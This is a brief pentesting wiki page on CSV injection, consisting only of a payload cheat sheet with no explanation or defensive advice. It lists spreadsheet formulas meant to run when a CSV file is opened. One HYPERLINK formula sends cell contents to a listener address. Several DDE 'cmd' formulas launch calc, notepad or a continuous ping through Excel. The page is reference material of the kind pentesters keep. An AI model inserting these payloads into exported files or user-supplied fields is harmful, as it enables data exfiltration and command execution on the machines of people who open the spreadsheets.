> For the complete documentation index, see [llms.txt](https://wiki.smhuda.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.smhuda.com/pentesting/application-security/web-application-security/csv-injection.md).

# CSV Injection

#### Payloads:

```
=HYPERLINK(“<http://172.0.0.1:8000?leads=>"&A2&B2, “More here”)
=cmd|’ /C calc’!A0
=cmd|’ /C notepad.exe’!A0
=DDE(server; file; item; mode)

=cmd|'/C ping -t 8.8.8.8 -l 25152'!'A1'
```